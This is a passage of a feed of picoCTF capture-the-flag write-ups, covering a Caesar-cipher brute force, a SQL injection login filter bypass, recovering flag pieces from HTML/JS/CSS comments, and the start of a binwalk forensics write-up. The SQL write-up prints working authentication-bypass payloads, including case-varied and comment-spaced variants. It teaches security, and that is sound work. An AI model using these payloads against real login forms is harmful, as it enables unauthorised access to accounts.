            &lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# leave digits, punctuation, spaces untouched
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tmgsgxj{________________________}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shift &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;caesar_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Identify the right shift
&lt;/h2&gt;

&lt;p&gt;Running the script gives us 26 lines of output. Most are gibberish, but one jumps right out — the one starting with &lt;code&gt;picoCTF{&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;shift  0 : tmgsgxj{________________________}
shift  1 : slfrfwi{...}
...
shift  3 : qjdpduf{...}
shift  4 : picoctf{________________________}
shift  5 : ohbnbse{...}
...
shift 13 : ghtdtjy{...}
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shift &lt;strong&gt;4&lt;/strong&gt; gives perfectly readable text, with the expected prefix &lt;code&gt;picoctf{&lt;/code&gt; — that's our shift. In practice, you just scan the 26 lines by eye, or script the detection by automatically searching for the substring &lt;code&gt;picoctf{&lt;/code&gt; in each output.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;Caesar is the textbook example of a cipher "broken by design": its security relies entirely on the secrecy of the method, not on mathematical robustness. As soon as you know it's Caesar, the key is found instantly.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Caesar cipher is cryptographically weak because its key space is ridiculously small (26) — always consider brute force first on such a small key space&lt;/li&gt;
&lt;li&gt;Searching for a known pattern (here &lt;code&gt;picoCTF{&lt;/code&gt;) across the 26 outputs lets you fully automate detecting the right shift, with no manual reading&lt;/li&gt;
&lt;li&gt;This principle generalizes to ROT13 and any substitution variant with a fixed shift — the number of keys is always bounded by the size of the alphabet&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-mod26-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>PicoCTF Web Gauntlet Writeup — Bypass a Login SQL Injection Filter</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Wed, 09 Sep 2026 20:31:56 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-web-gauntlet-writeup-bypass-a-login-sql-injection-filter-1ih4</link>
      <guid>https://dev.to/ctfdojo/picoctf-web-gauntlet-writeup-bypass-a-login-sql-injection-filter-1ih4</guid>
      <description>&lt;p&gt;&lt;em&gt;The login form filters classic SQL keywords (spaces, &lt;code&gt;OR&lt;/code&gt;, &lt;code&gt;--&lt;/code&gt;) in an overly simplistic way. By varying the case and using syntactic equivalents, we bypass the filter and authenticate without a valid password.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; SQL injection, filter bypass&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge presents a classic login form, with a &lt;em&gt;username&lt;/em&gt; field and a &lt;em&gt;password&lt;/em&gt; field. Nothing else is provided in the prompt, aside from a link to the application:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Log in as admin! &lt;a href="http://saturn.picoctf.net:PORT/" rel="noopener noreferrer"&gt;http://saturn.picoctf.net:PORT/&lt;/a&gt;"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When we enter an invalid credential, the application returns an error message that hints at what's happening server-side: something like &lt;code&gt;Login failed for user: ...&lt;/code&gt;, strongly suggesting a SQL query of the form &lt;code&gt;SELECT * FROM users WHERE username='...' AND password='...'&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Basic injection test
&lt;/h2&gt;

&lt;p&gt;Classic reflex when facing a login form suspected of being vulnerable: attempt a basic SQL injection in the username field, leaving the password empty or arbitrary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;Username&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;' OR 1=1 -- -
Password : anything
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a naive form, this payload turns the query into &lt;code&gt;SELECT * FROM users WHERE username='' OR 1=1 -- -' AND password='...'&lt;/code&gt;, which authenticates anyone. But here, the server's response is different:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;403 Forbidden — malicious keyword detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The site is therefore actively filtering certain keywords before executing the query. We need to understand precisely what's being blocked.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Identify the filter word by word
&lt;/h2&gt;

&lt;p&gt;We isolate each component of the previous payload and test it separately to see which one triggers the block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Test 1: Username = OR           → blocked
Test 2: Username = --           → blocked
Test 3: Username = ' '(space)   → allowed through
Test 4: Username = 1=1          → allowed through
Test 5: Username = oR           → allowed through!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two important observations emerge from these tests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The filter blocks the keyword &lt;code&gt;OR&lt;/code&gt; and the SQL comment &lt;code&gt;--&lt;/code&gt; when written exactly as-is&lt;/li&gt;
&lt;li&gt;The filter is &lt;strong&gt;case-sensitive&lt;/strong&gt; — it looks for the exact uppercase string &lt;code&gt;OR&lt;/code&gt;, not a case-insensitive variant&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a classic design flaw: a hardcoded keyword blacklist, applied with a case-sensitive comparison, without normalizing the string to upper or lower case before comparing it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Bypass the filter
&lt;/h2&gt;

&lt;p&gt;With this case-sensitivity flaw identified, we can rebuild a working payload simply by avoiding the exact spelling of the blocked words:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' oR 1=1 -- -   → "oR" passes the filter, remains a valid OR in SQL
'&lt;/span&gt; &lt;span class="k"&gt;oR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt;      &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="k"&gt;comment&lt;/span&gt; &lt;span class="n"&gt;alternative&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;instead&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some filters also block spaces around keywords. In that case, a classic trick is to replace spaces with inline SQL comments, which are ignored by the SQL engine but don't contain the forbidden string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;'/**/oR/**/1=1/**/--/**/-
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On this particular challenge, the case variation is already enough to pass the filter — no need to complicate things further.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Authentication bypass
&lt;/h2&gt;

&lt;p&gt;We send the payload that passes the filter in the username field, with an arbitrary password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;Username&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="s1"&gt;' oR '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' -- -
Password : x
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query generated server-side becomes (schematically):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;oR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt; &lt;span class="c1"&gt;-- -' AND password='x'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The condition &lt;code&gt;'1'='1'&lt;/code&gt; is always true, and everything after &lt;code&gt;--&lt;/code&gt; is commented out — the password is never checked. We get a success page showing admin access, with the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome back, admin!
picoCTF{***************************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge illustrates why &lt;strong&gt;blacklist filtering&lt;/strong&gt; is a fundamentally fragile defense against SQL injection: there's always a case variation, encoding, or equivalent syntax that the blacklist didn't anticipate.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keyword blacklist filtering is fundamentally breakable — case variation, alternative spacing, and equivalent SQL syntax almost always find a way around it&lt;/li&gt;
&lt;li&gt;The real protection against SQL injection is &lt;strong&gt;prepared statements&lt;/strong&gt; or an ORM, never hand-filtered string concatenation&lt;/li&gt;
&lt;li&gt;Testing each component of a payload separately lets you precisely map out what a filter blocks and what it lets through&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-web-gauntlet-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>PicoCTF Insp3ct0r Writeup — Find a Flag Hidden in HTML, JS &amp; CSS</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Tue, 08 Sep 2026 20:55:11 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-insp3ct0r-writeup-find-a-flag-hidden-in-html-js-css-4741</link>
      <guid>https://dev.to/ctfdojo/picoctf-insp3ct0r-writeup-find-a-flag-hidden-in-html-js-css-4741</guid>
      <description>&lt;p&gt;&lt;em&gt;The flag is split into 3 pieces hidden in comments: one in the page's HTML, one in the linked &lt;code&gt;.js&lt;/code&gt; file, one in the linked &lt;code&gt;.css&lt;/code&gt; file. Just inspect each one to reconstruct the full flag.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 100 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; Reading source code / DevTools&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge simply gives a URL to a website with no other hint:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"There is a flag in this html, but the button doesn't work? &lt;a href="http://mercury.picoctf.net:PORT/" rel="noopener noreferrer"&gt;http://mercury.picoctf.net:PORT/&lt;/a&gt;"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Arriving on the page, we find a minimalist site: a title, a bit of text, and a button that doesn't seem to do anything when clicked. Nothing displayed on screen looks like a flag. The challenge's name — &lt;strong&gt;Insp3ct0r&lt;/strong&gt; — is a fairly clear hint: we're going to need to &lt;em&gt;inspect&lt;/em&gt; what's hiding behind the page rather than what it displays.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Read the HTML source code
&lt;/h2&gt;

&lt;p&gt;First reflex on any web challenge: look at the page's source code with &lt;code&gt;Ctrl+U&lt;/code&gt; (or right-click → "View page source"). We deliberately avoid opening DevTools directly here, because the element inspector shows the DOM after JS modifications, whereas "View source" shows the raw HTML as sent by the server — exactly what we want to look for forgotten comments.&lt;/p&gt;

&lt;p&gt;Scanning through the file, we come across an HTML comment in the middle of the document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- part 1: picoCTF{*********** --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"myFunction()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Click Me&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First piece of the flag found, tucked away in a comment nobody was supposed to leave in production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Explore the linked JavaScript file
&lt;/h2&gt;

&lt;p&gt;Still in the HTML source code, we spot the tag that loads an external script, either in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; or just before the closing &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"js/main.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many beginners stop at the HTML and completely miss the referenced files. Yet all it takes is opening this URL directly in the browser (or via &lt;code&gt;curl&lt;/code&gt;) to read the JS file in plain text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://mercury.picoctf.net:PORT/js/main.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;myFunction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// part 2: ***********&lt;/span&gt;
  &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This button doesn't do anything&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second piece found, this time in a JavaScript comment — and along the way, we understand why the button "doesn't do anything": it just triggers a useless alert, a decoy to distract attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Explore the CSS stylesheet
&lt;/h2&gt;

&lt;p&gt;Same logic for the stylesheet, also referenced in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"css/style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We open it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://mercury.picoctf.net:PORT/css/style.css
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;sans-serif&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#fdfdfd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;/* part 3: ***********}  */&lt;/span&gt;
&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Third and final piece, hidden in a CSS comment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Reconstruct the flag
&lt;/h2&gt;

&lt;p&gt;All that's left is to string the three pieces together in the order they were found (HTML → JS → CSS):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;part 1 (HTML): picoCTF{***********
part 2 (JS)  : ***********
part 3 (CSS) : ***********}

picoCTF{***************************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 5 — Bonus: automate with curl + grep
&lt;/h2&gt;

&lt;p&gt;On a challenge with more files to explore, we can save time by scanning several resources at once to spot all the suspicious comments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;f &lt;span class="k"&gt;in &lt;/span&gt;index.html js/main.js css/style.css&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt;
    curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://mercury.picoctf.net:PORT/&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;!--|//|/&lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== index.html ===
&amp;lt;!-- part 1: picoCTF{*********** --&amp;gt;
=== js/main.js ===
  // part 2: ***********
=== css/style.css ===
/* part 3: ***********}  */
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single command, and the three pieces come right out — handy as soon as the number of files to check grows.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge is a perfect introduction to an essential web security reflex: &lt;strong&gt;everything sent to the browser is readable by the user&lt;/strong&gt;, whether it's HTML, JavaScript, or CSS. A development comment left in production can leak sensitive information — credentials, internal paths, business logic, or even an entire flag.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always inspect ALL resources loaded by a page (JS, CSS, images), not just the HTML — development comments often end up in production&lt;/li&gt;
&lt;li&gt;"View source" (&lt;code&gt;Ctrl+U&lt;/code&gt;) shows the raw HTML from the server, while the DOM inspector shows the state after JS execution — the two are complementary&lt;/li&gt;
&lt;li&gt;Automating the search for comments with &lt;code&gt;curl&lt;/code&gt; + &lt;code&gt;grep&lt;/code&gt; saves precious time on challenges with multiple files&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-insp3ct0r-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>PicoCTF Hideme Writeup — Extract a Hidden ZIP with Binwalk</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Mon, 07 Sep 2026 21:09:50 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-hideme-writeup-extract-a-hidden-zip-with-binwalk-6fj</link>
      <guid>https://dev.to/ctfdojo/picoctf-hideme-writeup-extract-a-hidden-zip-with-binwalk-6fj</guid>
      <description>&lt;p&gt;&lt;em&gt;A PNG image contains a ZIP file hidden inside it. We detect it with &lt;code&gt;binwalk&lt;/code&gt;, extract it, and the flag is in the hidden folder.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; PicoCTF 2023&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 100 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; binwalkfileunzip&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a &lt;code&gt;flag.png&lt;/code&gt; image and simply asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Someone hid a flag in this image. But can you find it?"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The image opens normally in a viewer — it displays a regular image. Nothing suspicious at first glance. That's where the magic of forensics tools comes in.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key concepts — Steganography
&lt;/h2&gt;

